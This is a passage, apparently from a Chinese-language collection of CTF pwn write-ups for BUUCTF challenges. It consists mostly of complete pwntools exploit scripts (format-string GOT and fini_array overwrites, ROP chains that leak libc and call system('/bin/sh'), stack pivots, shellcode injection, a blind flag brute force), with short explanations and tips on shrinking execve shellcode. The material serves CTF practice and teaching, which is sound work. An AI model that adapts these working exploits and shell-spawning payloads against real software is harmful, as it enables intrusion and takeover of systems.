sa(b"data:",p64(pop_rdx_ret)+p64(0))

pop_rax_ret=0x000000000041e4af
sla(b"addr:",str(fini_arr+0x40))
sa(b"data:",p64(pop_rax_ret)+p64(59))

syscall=0x00000000004022b4
sla(b"addr:",str(fini_arr+0x50))
sa(b"data:",p64(syscall)+b"/bin/sh\0")

leave_ret=0x0000000000401c4b
ret=0x0000000000401016
sla(b"addr:",str(fini_arr))
sa(b"data:",p64(leave_ret)+p64(ret))

it()

另一种exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
fini_arr=0x4B40F0
libc_csu_finial=0x402960
main_addr=0X401B6D
sla(b"addr:",str(fini_arr))
sla(b"data:",p64(libc_csu_finial)+p64(main_addr))

pop_rsi_ret=0x0000000000406c30
sla(b"addr:",str(fini_arr+0x18))
sa(b"data:",p64(pop_rsi_ret)+p64(0))

pop_rdx_ret=0x0000000000446e35
sla(b"addr:",str(fini_arr+0x28))
sa(b"data:",p64(pop_rdx_ret)+p64(0))

pop_rax_ret=0x000000000041e4af
sla(b"addr:",str(fini_arr+0x38))
sa(b"data:",p64(pop_rax_ret)+p64(59))

syscall=0x00000000004022b4
sla(b"addr:",str(fini_arr+0x48))
sa(b"data:",p64(syscall)+b"/bin/sh\0")

leave_ret=0x0000000000401c4b
pop_rdi_ret=0x0000000000401696
sla(b"addr:",str(fini_arr))
sa(b"data:",p64(leave_ret)+p64(pop_rdi_ret)+p64(fini_arr+0x50))

it()

ciscn_2019_sw_1

BUUCTF在线评测

利用格式化字符串修改fini_array为main地址从而劫持控制流,同时修改got表,然后第二次直接输入/bin/sh就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ciscn_2019_sw_1"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x3A80C, 0x3A80E, 0x3A812, 0x3A819, 0x5F065, 0x5F066]
elif "2.27" in libc.path:
one_gadget = [
0x3CBEA,
0x3CBEC,
0x3CBF0,
0x3CBF7,
0x6729F,
0x672A0,
0x13573E,
0x13573F,
]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26660
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x80485A8
c
"""
gdb.attach(io, gdbscript=gdbscript)

fini_arr = 0x804979C
printf_got = elf.got["printf"]

# main_addr=0x804=>2052 8534
# system_addr=0x804=>2052 83d0=>33744
payload = f"%2052c%17$hn%19$hn%{33744-2052}c%16$hn%{0x8534-0x83d0}c%18$hn".encode()
payload = payload.ljust(0x30, b"a")
payload += p32(printf_got) + p32(printf_got + 2) + p32(fini_arr) + p32(fini_arr + 2)
sla(b"your name?\n", payload)
sla(b"your name?\n", "/bin/sh\0")
it()

ROP

asis_finals_2019_rop13

1
2
3
4
5
6
7
8
9
10
11
12
mov_rsi_rsp=0x000000000040042a# mov rsi, qword ptr [rsp + 0x10] ; ret
pop_rdx_rbp_ret=0x000000000040047e
mov_edi_rsi_ret=0x0000000000400426#mov edi, dword ptr [rsp + 8] ; mov rsi, qword ptr [rsp + 0x10] ; ret
leave_ret=0x4004B6
bss=0x601300
s(b"\x00"*0x48+p64(mov_rsi_rsp)+p64(pop_rdx_rbp_ret)+p64(0x8)+p64(elf.got["write"])+p64(elf.plt["write"])+p64(mov_edi_rsi_ret)+p64(pop_rdx_rbp_ret)+p64(0x0)+p64(bss)+p64(pop_rdx_rbp_ret)+p64(0x60)+p64(bss-8)+p64(elf.plt["read"])+p64(leave_ret))
libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-libc.sym["write"]
pop_rdi_ret=0x000000000002155f+libc_base
system_addr=libc_base+libc.sym["system"]
bin_sh=libc_base+next(libc.search(b"/bin/sh\0"))
s(p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr))
it()

microwave_ins_2016

还可以题目
利用print_chk泄露libc和canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

def login(username,password):
sla(b"MicroWave]: ",b"1")
sla(b"username: ",username)
sla(b"password: ",password)

def shuru(content):
sla(b"MicroWave]: ",b"2")
sa(b"#> ",content)

login(b"%p"*(6),b"n07_7h3_fl46")
ru(b"Checking ")
content=rld().split(b"0x")
libc_base=int(b"0x"+content[2],16)-0xf72c0
canary=int(b"0x"+content[-1],16)
pop_rdi_ret=libc_base+0x0000000000021102
bin_sh_addr=libc_base+next(libc.search(b"/bin/sh\0"))
system_addr=libc_base+libc.sym["system"]
shuru(b"a"*0x408+p64(canary)+b"a"*0x8+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr))
it()

seccon2022-koncha

1
2
3
4
5
6
7
8
9
10
11
12
sla(b"Hello! What is your name?\n",b"")
ru(b"Nice to meet you, ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f43ea148000-0x7f43ea3392e8

pop_rdi_ret=libc_base+0x0000000000023b6a
bin_sh=libc_base+next(libc.search(b"/bin/sh\0"))
system=libc_base+libc.sym["system"]
one_gadget=libc_base+0xe3b01
ret=libc_base+0x0000000000022679
#sla(b"Which country do you live in?\n",b"a"*0x58+p64(one_gadget))
sla(b"Which country do you live in?\n",b"a"*0x58+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system))
it()

wdb_2018_final_pwn3

https://buuoj.cn/challenges#wdb_2018_final_pwn3
栈溢出,修改fd,然后控制target

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./pwn3"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

#b *$rebase(0xF56) malloc调试
# b *$rebase(0x1205) flag测试
# b *$rebase(0x148B) free
# gdbscript = """
# b *$rebase(0x1199)
# c
# """
# db=gdb.debug("./server",gdbscript=gdbscript)
# sleep(1)

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27557
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


def debug():
global io
gdbscript = """
b *0x400E9F
c
"""
gdb.attach(io, gdbscript=gdbscript)


# def debug_force():
# global io
# io.close()
# gdbscript = """
# b *$rebase(0x145F)
# c
# """
# io=gdb.debug(elf_path,gdbscript=gdbscript)


#1 0x10
#2 0x38
#3 0x60
#没问题
def add(size,data):
sla(b"Exit\n", b"2")
sla(b"3. Large\n",str(size))
sla(b"Enter your item`s name: \n",data)


def free(index):
sla(b"Exit\n", b"4")
sla(b" like to remove?\n",str(index))

#可以加0x14
def add_to_list(size,num):
sla(b"Exit\n", b"3")
sla(b"3. Large\n",str(size))
sla(b"would you like to add?\n",str(num))


def show():
sla(b"Exit\n", b"1")


def edit(index,content):
sla(b"Exit\n", b"5")
sla(b"you like to edit?\n",str(index))
sla(b"item`s new name: \n",content)



# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out


sla(b"input: ",b"a")
payload=b"a"*0x78+p64(0)
sla(b"guess the random value: \n",payload)
sla(b"target: ",b"a\x00")
#debug()
sla(b"input: ",b"a")
pop_rdi_ret=0x00000000004010a3
payload=b"a\x00".ljust(0x78,b"a")+p64(0)+b"a"*8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400880 )
sla(b"guess the random value: \n",payload)
ru(b"it?\n")
libc_base=u64(rld().ljust(8,b"\0"))-libc.sym["puts"]

sla(b"input: ",b"a")
payload=b"a"*0x78+p64(0)
sla(b"guess the random value: \n",payload)
sla(b"target: ",b"a\x00")
#debug()
sla(b"input: ",b"a")
pop_rdi_ret=0x00000000004010a3
payload=b"a\x00".ljust(0x78,b"a")+p64(0)+b"a"*8+p64(pop_rdi_ret)+p64(libc_base+next(libc.search(b"/bin/sh\0")))+p64(libc_base+libc.sym["system"])
sla(b"guess the random value: \n",payload)
it()

pwnable_silverbullet

BUUCTF在线评测 (buuoj.cn)

题目还算比较有意思,利用strcat\x00修改长度达到溢出的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sla(b"Your choice :", b"1")
sa(b"description of bullet :", b"b" * 0x2F)
sla(b"Your choice :", b"2")
sa(b"another description of bullet :", b"a")
sla(b"Your choice :", b"2")
sa(
b"another description of bullet :",
b"\xff" * 7 + p32(elf.plt["puts"]) + p32(elf.sym["main"]) + p32(elf.got["puts"]),
)
sla(b"Your choice :", b"3")
ru(b"win !!\n")
libc_base = u32(rld()) - libc.sym["puts"]
sla(b"Your choice :", b"1")
sa(b"description of bullet :", b"a" * 0x2F)
sla(b"Your choice :", b"2")
sa(b"another description of bullet :", b"a")
sla(b"Your choice :", b"2")
sa(
b"another description of bullet :",
b"\xff" * 7
+ p32(libc_base + libc.sym["system"])
+ b"a" * 4
+ p32(libc_base + next(libc.search(b"/bin/sh\0"))),
)
sla(b"Your choice :", b"3")
it()

xm_2019_awd_pwn1

BUUCTF在线评测 (buuoj.cn)

题目还不错,跟之前32位的有一点点不一样,64位的write和read低3位不一样,所以需要爆破

这种题目一定要注意,利用 plt+6复原got表,因为我们先把read改成了write,回到main之前要恢复过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pop_rdi_ret = 0x00000000004006A3
pop_rsi_r15_ret = 0x00000000004006A1
while True:
io = remote("node4.buuoj.cn", 26330)
s(
b"a" * 0x28
+ p64(pop_rsi_r15_ret)
+ p64(elf.got["read"])#这里只用修改rsi为read got地址
+ p64(0)
+ p64(elf.plt["read"])#调用read函数,修改readgot表为write
+ p64(elf.plt["read"])#调用修改后的read,从readgot表开始打印泄露libc
+ p64(pop_rsi_r15_ret)
+ p64(elf.got["setbuf"])
+ p64(0)
+ p64(elf.plt["read"] + 6)#这里单纯是想恢复read的got值,就委屈一下setbuf
+ p64(elf.sym["vuln"])
)
sleep(0.5)
s("\x40\x41")#修改readgot地址
try:
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["write"]
break
except:
io.close()
s(p64(elf.plt["setbuf"] + 6))#恢复read用的setbuf,一定也要改成+6
s(
b"a" * 0x28
+ p64(pop_rdi_ret)
+ p64(libc_base + next(libc.search(b"/bin/sh\0")))
+ p64(0x000000000040048E)#这里是ret地址,用来平衡64stack检查
+ p64(libc_base + libc.sym["system"])
)
sleep(0.5)
sl("cat flag")
rl()

roarctf_2019_easyrop

BUUCTF在线评测 (buuoj.cn)

这个题目其实比较简单,但是要注意就是我们栈溢出之后就会把保存长度给修改了,所以我们再溢出到这里的时候要把长度直接改到对应的ret adrr即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pop_rdi_ret = 0x401B93
main_addr = 0x4019F3
payload = b"a" * 0x418 + p8(0x28) # 如果不这样的话相当于我们把i给修改了,就会飞掉,这个地方刚好把偏移改到ret_addr
payload += (
p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main_addr)
)
sla(b">> ", payload)
ru(b"\x00")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["puts"]

mprotect_addr = libc_base + libc.sym["mprotect"]
pop_rsi_ret = 0x23E6A + libc_base
pop_rdx_ret = 0x1B96 + libc_base
start_addr = 0x680200
payload = b"a" * 0x418 + p8(0x28)
payload += (
p64(pop_rdi_ret)
+ p64(start_addr & 0xFFF000)
+ p64(pop_rsi_ret)
+ p64(0x1000)
+ p64(pop_rdx_ret)
+ p64(7)
+ p64(mprotect_addr)
+ p64(main_addr)
)
sla(b">> ", payload)

read_addr = libc_base + libc.sym["read"]
payload = b"a" * 0x418 + p8(0x28)
payload += (
p64(pop_rsi_ret)
+ p64(start_addr)
+ p64(pop_rdi_ret)
+ p64(0x0)
+ p64(pop_rdx_ret)
+ p64(0x100)
+ p64(read_addr)
+ p64(start_addr)
)
# debug()
sla(b">> ", payload)

payload = f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rdi,{convert_str_asmencode("./flag")};
push rdi;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov rsi,rsp;
mov rdx,0x40;
mov al,0;
syscall;
mov rdi,1;
mov al,1;
syscall;
"""
sa(b"\x00", asm(payload))

it()

ciscn_2019_ne_3

BUUCTF在线评测 (buuoj.cn)

一道挺麻烦的题目,一定需要把栈迁移的很远,不然有一些系统调用就会挂掉,同时有时候read一定也要覆盖掉返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sa(b":", b"a")
ret_call_addr = 0x80486D0#返回系统里面的read的push 0
read_start_addr = 0x0804A060#这个刚好可以修改掉返回地址
sa(
b"length of password: ",
b"-1\n\0" + p32(ret_call_addr) + p32(read_start_addr) + p32(0x100),
)

sla(b"):", b"a" * 0x48 + p32(0x0804A068))#因为esp是通过ecx来迁移的,所以只用修改ecx

bss_start_av = 0x804A300#很远的一个无用的地方,如果太近了system会挂掉
pop_ebp_ret = 0x0804881B
leave_ret = 0x08048575
sa(
b"contiune\n",
p32(pop_ebp_ret)
+ p32(bss_start_av)
+ p32(elf.plt["read"])
+ p32(leave_ret)
+ p32(0)
+ p32(bss_start_av + 4)
+ p32(0x100),
)

s(
p32(elf.plt["puts"])
+ p32(pop_ebp_ret)
+ p32(elf.got["puts"])
+ p32(elf.plt["read"])
+ p32(0)
+ p32(0)
+ p32(bss_start_av + 0x14)
+ p32(0x100)
)
libc_base = u32(ru(b"\xf7")) - libc.sym["puts"]
system_addr = libc.sym["system"] + libc_base
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
sa(b"\xf7", p32(system_addr) + p32(system_addr) + p32(bin_sh_addr))
it()

xp0intctf_2018_gameserver

BUUCTF在线评测 (buuoj.cn)

智障题目,snprintf返回值是实际需要的大小,而不是真正保存的大小,所以存在栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sla(b"me you name?\n", b"a" * 254)
sla(b"occupation?\n", b"a" * 254)
sla(b"by yourself?[Y/N]", b"Y")
payload = (
b"a" * 0x114 + b"b" + p32(elf.plt["puts"]) + p32(0x8048637) + p32(elf.got["puts"])
)
s(payload)
ru(b"b")
rl()
libc_base = u32(r(4)) - libc.sym["puts"]
sla(b"me you name?\n", b"a" * 254)
sla(b"occupation?\n", b"a" * 254)
sla(b"by yourself?[Y/N]", b"Y")
payload = (
b"a" * 0x114
+ b"b"
+ p32(libc_base + libc.sym["system"])
+ p32(0)
+ p32(libc_base + next(libc.search(b"/bin/sh\0")))
)
s(payload)
it()

inndy_very_overflow

BUUCTF在线评测

一个简单的输出结构题目,伪造指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def add(content: bytes):
sla(b"action: ", b"1")
sla(b"Input your note: ", content)

def edit(index: int, content: bytes):
sla(b"action: ", b"2")
sla(b"Which note to edit: ", str(index).encode())
sla(b"Your new data: ", content)

def show(index: int):
sla(b"action: ", b"3")
sla(b"Which note to show: ", str(index).encode())

def dump(index: int):
sla(b"action: ", b"4")

add(b"a")
add(b"b")
add(b"c")
edit(0, b"a" * 3 + p32(elf.got["puts"]))
show(2)
ru(b"Next note: ")
libc_base = int(rld(), 16) - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
edit(0, b"a" * 3 + p32(elf.got["atoi"] - 4))
edit(2, p32(system_addr))
sla(b"action: ", b"sh\0")
it()

inndy_homework

BUUCTF在线评测

数组越界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def exit():
sla(b"> ", b"0")

def edit(index: int, value: int):
sla(b"> ", b"1")
sla(b"edit: ", str(index).encode())
sla(b"many? ", str(value).encode())

def show(index: int):
sla(b"> ", b"2")
sla(b"show: ", str(index).encode())

sla(b"name? ", b"a")
show(18)
ru(b"is ")
libc_base = int(rld()) + (1 << 32) - 247 - libc.sym["__libc_start_main"]
system_addr = libc_base + libc.sym["system"] - (1 << 32)
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0")) - (1 << 32)
edit(14, system_addr)
edit(16, bin_sh_addr)
exit()
it()

inndy_stack

模拟了一个stack,但是我们可以利用pop,push来覆盖掉index使它指向ret add,然后泄露libc进而覆盖返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pop()
pop()
push(0)
push(93)
pop()
ru(b"Pop -> ")
libc_base = int(rld()) + (1 << 32) - libc.sym["__libc_start_main"] - 0xF7
system_addr = libc_base + libc.sym["system"] - (1 << 32)
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0")) - (1 << 32)
push(system_addr)
push(0)
push(bin_sh_addr)
sla(b"Cmd >>\n", b"x")
it()

cscctf_2019_qual_babystack

BUUCTF在线评测

挺不错的题目,在有限的plt 泄露libc getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pop_three_ret = 0x08048519
payload = (
b"a" * 0x14
+ p32(elf.plt["read"])
+ p32(pop_three_ret)
+ p32(0)
+ p32(elf.got["read"])
+ p32(1)
+ p32(elf.plt["read"])
+ p32(pop_three_ret)
+ p32(1)
+ p32(elf.got["read"])
+ p32(4)
+ p32(elf.plt["read"] + 6)
+ p32(pop_three_ret)
+ p32(0)
+ p32(0x804A020)
+ p32(1)
+ p32(elf.sym["vuln"])
)
s(payload)
sleep(1)
s(b"\xf0")
libc_base = u32(ru(b"\xf7")) - libc.sym["write"]
s(b"\x00")
sleep(1)
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
payload = b"a" * 0x14 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
s(payload)
it()

强网杯2019 拟态 STKOF

BUUCTF在线评测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./pwn"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
if "2.23" in libc_path:
one_gadget = [0x3A80C, 0x3A80E, 0x3A812, 0x3A819, 0x5F065, 0x5F066]
elif "2.27" in libc_path:
one_gadget = [
0x3CBEA,
0x3CBEC,
0x3CBF0,
0x3CBF7,
0x6729F,
0x672A0,
0x13573E,
0x13573F,
]
else:
one_gadget = []
else:
libc_path = ""

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26525
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x400B32
c
"""
gdb.attach(io, gdbscript=gdbscript)

# 32bit overfollw 110
# 64bit overfollw 118

# debug()
pop_rsi_ret = 0x0000000000405895
pop_rdi_ret = 0x00000000004005F6
pop_rdx_ret = 0x000000000043B9D5
pop_rax_ret = 0x000000000043B97C
syscall_addr = 0x00000000004011DC
bss_addr = 0x6A3368
read_64_addr = 0x43B9C0

pop_eax_ret = 0x080A8AF6
pop_edx_ecx_ebx_ret = 0x0806E9F1
int80_addr = 0x080495A3
add_esp_88_ret = 0x0806F5AD
read_32_addr = 0x0806C8E0
bss_32_addr = 0x80DA354
payload = (
b"a" * 0x110
+ p32(add_esp_88_ret)
+ p32(0)
+ p64(pop_rdi_ret)
+ p64(0)
+ p64(pop_rsi_ret)
+ p64(bss_addr)
+ p64(pop_rdx_ret)
+ p64(0x10)
+ p64(read_64_addr)
+ p64(pop_rdi_ret)
+ p64(bss_addr)
+ p64(pop_rsi_ret)
+ p64(0)
+ p64(pop_rdx_ret)
+ p64(0)
+ p64(pop_rax_ret)
+ p64(59)
+ p64(syscall_addr)
)

payload = (
payload.ljust(0x110 + 0x80, b"a")
+ p32(read_32_addr)
+ p32(pop_edx_ecx_ebx_ret)
+ p32(0)
+ p32(bss_32_addr)
+ p32(0x10)
+ p32(pop_edx_ecx_ebx_ret)
+ p32(0)
+ p32(0)
+ p32(bss_32_addr)
+ p32(pop_eax_ret)
+ p32(0xB)
+ p32(int80_addr)
)
sla(b"pwn it?\n", payload)
sl(b"/bin/sh\0")
it()

关键就是利用add esp抬升栈

ret2shellcode

铁人三项(第五赛区)_2018_seven

BUUCTF在线评测 (buuoj.cn)

题目还行·,就是要利用条件,有的时候rsp会在rip上面,那么就可以写道rsp里面覆盖返回的指令

push rsp

pop rsi

这里好像write不能特别大的值

所以就只能mov dx,si

syscall

然后算好偏移加上shellcode

1
2
3
4
5
6
7
8
9
10
shellcode = """
push rsp;
pop rsi;
mov dx,si;
syscall
"""
sa(b"shellcode:", asm(shellcode))
sleep(0.5)
s(asm("nop") * 0xB37 + asm(shellcraft.sh()))
it()

pwnable_echo1

BUUCTF在线评测 (buuoj.cn)

傻逼题,就是需要往bss里面写入一个jmp rsp的指令,然后就好了

1
2
3
4
sla(b"? : ", asm("jmp rsp"))
sla(b"> ", b"1")
sl(b"a" * 0x28 + p64(0x6020A0) + asm(shellcraft.sh()))
it()

xman_2019_nooocall

BUUCTF在线评测

这道题本来很简单,但由于禁用了所有的syscall,但是我们可以获取到flag的位置,就利用盲注来进行打

如果成功了就会陷入循环

挺有新意的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
context.arch = "amd64"
flagstr = []
for x in range(0, 10):
flagstr.append(str(x))
for x in range(ord("a"), ord("z") + 1):
flagstr.append(chr(x))
flagstr.append("{")
flagstr.append("-")
flagstr.append("}")

remote_ip = "node4.buuoj.cn"
remote_port = 25224
flag = "flag{cb3e8ca2-759a-4865-b75e-8b9a276045b"
for i in range(40, 50):
for s in flagstr:
io = remote(remote_ip, remote_port)
payload = asm(f"mov rax,[rsp+0x18];mov al,byte ptr[rax+{i}];cmp al,{ord(s)};")
payload += b"\x74" + p8(-len(payload) - 2 + (1 << 8))
io.sendafter(b"Shellcode >>", payload)
if b"the monitored command dumped core\n" in io.recvline(timeout=1):
io.close()
continue
else:
io.close()
flag += s
print(flag)
break

tiny_backdoor_v1_hackover_2016

BUUCTF在线评测

利用上下文寄存器条件调用sys_read然后插入shellcode

1
2
3
4
5
6
7
8
9
bytess = b"\xb3\x91\x7f\xdd\x62\x81\x11\x6a\x90"
shellcode = asm("dec eax;xchg rdi,rdx;syscall;")
output = b""
for i in range(len(shellcode)):
output += p8(shellcode[i] ^ bytess[i])
s(output)
sleep(1)
s(b"a" * 0x10 + asm(shellcraft.sh()))
it()

inndy_onepunch

BUUCTF在线评测

image.png

遇见每个题目要分析具体的情况,这里可以直接修改 text,我们先改成一个死循环,然后再慢慢写shellcode

1
2
3
4
5
6
7
8
9
10
def writeData(addr, data):
sla(b"Where What?", (hex(addr) + " " + str(data)).encode())
writeData(0x400768, u8(b"\xb4"))
shellcode = asm(shellcraft.sh())
start_addr = 0x400769
for i in shellcode:
writeData(start_addr, i)
start_addr += 1
writeData(0x400767, u8(b"\x74"))
it()

inndy_leave_msg

BUUCTF在线评测

不错的题目

1
2
3
sa(b"message:\n", asm("add esp,0x35;jmp esp") + b"\x00\xc3" + asm(shellcraft.sh()))
sa(b"message slot?\n", b" -16")
it()

csaw2018_shell_code

BUUCTF在线评测

shellcode跳转,合理利用寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bin_sh = 0x68732F2F6E69622F
shellcode = """
mov rax,0x68732F2F6E69622F;
xor rsi,rsi;
jmp rsp;
"""

shellcode3 = """
push rsi;
push rax;
mov rdi,rsp;
push rsi;
pop rdx;
push 0x3b;
pop rax;
syscall;
"""

sla(b"node 1: \n", asm(shellcode))
sla(b"node 2: \n", b"")
ru(b"node.next: ")
stack_addr = int(rld(), 16)
sla(b"initials?\n", b"3" * (3 + 8) + p64(stack_addr + 0x28) + asm(shellcode3))
it()

rctf_2019_shellcoder

BUUCTF在线评测

这个题目很不错,需要好好的分析题目意思,就是有点不太好理解,需要结合具体的上下文寄存器环境来写哈哈哈,xchg是个很不错的指令,用来交换值,当然也可以利用push pop,但会多一个bit

1
2
3
4
5
6
7
8
9
shellcode = """
xchg rsi,rdi;
mov dl,0xff;
syscall;
"""
# debug()
sa(b"hellcoder:", asm(shellcode))
s(b"a" * 7 + asm(shellcraft.sh()))
it()

xp0intctf_2018_bof

BUUCTF在线评测

这个题目主要就是研究怎么缩短shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bin_sh = convert_str_asmencode("/bin/sh\0")
shellcode = f"""
xor esi,esi;
mov rdx,{bin_sh}
push rdx;
push rsi;
pop rdx;
push rsp;
pop rdi;
push 0x3b
pop rax;
syscall
"""
bss_addr = 0x404070
leave_ret = 0x00000000004011B4
pop_rdi_ret = 0x0000000000401293
sa(
b"name: \n",
asm(shellcode),
)
sa(
b"simple one.(*_*)\n",
b"a" * 0x28 + p64(bss_addr),
)
it()

缩短shellcode

这里的例子都以amd64为主
shellcode可以缩小的空间都在赋值上面,像syscall这些就没办法,包括我们需要把/bin/sh写进栈里面,一定会涉及一个mov rax,0x…. push 一下 那哪里可以节省呢?

syscall里面rax赋值

由于syscall的时候rax要变成一个只有al有值的数字,所以一般需要经过xor rax,rax mov al,0x3b 但这样需要xor rax,rax (3)+mov al,0x3b(2)==5个字节 但还有一个更快的方法 push 0x3b(2) pop rax(1) pop寄存器,push寄存器的长度是最短的,所以我们可以充分利用pop,push来节省长度 来查看效果
image.png
image.png
image.png

xor

xor是很常见的指令,因为我们经常会涉及清0,比如说execve的syscall,rsi,rdx必须是0
image.png
xor r开头的都是3个长度,有时候我们可以调试通过上下文观察,如果可以的话使用xor e开头的就有e开头,xor指令最短也就是2个长度
image.png
image.png
或者我们可以先把一个寄存器清零以后,然后再利用push pop指令,也是比较快的

mov rdi,rsp

image.png
可以利用哦个pop rsp push rdi来缩短

execve(/bin/sh)最短的shellcode

这里其实可以根据上下文环境,找到比如说rsi,rdx两个寄存器,哪个可以通过xor e开头的直接清零就放到第一句,不然这里就用xor rsi,rsi
xor rsi rsi #3

1
2
3
4
5
6
7
8
9
debug()
shellcode = asm(
"xor rsi,rsi;push 0x6873;push rsp;pop rdi;push rsi;pop rdx;push 0x3b;pop rax;syscall"
)

stack_addr = int(r(14), 16)
payload = b"a" * 0x18 + p64(stack_addr + 0x20) + shellcode
sl(payload)
it()

不知道为什么挂了

starctf_2019_babyshell

BUUCTF在线评测

这个题比较简单,但就是要用\x00绕过

fuzz脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from itertools import *
import re
for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
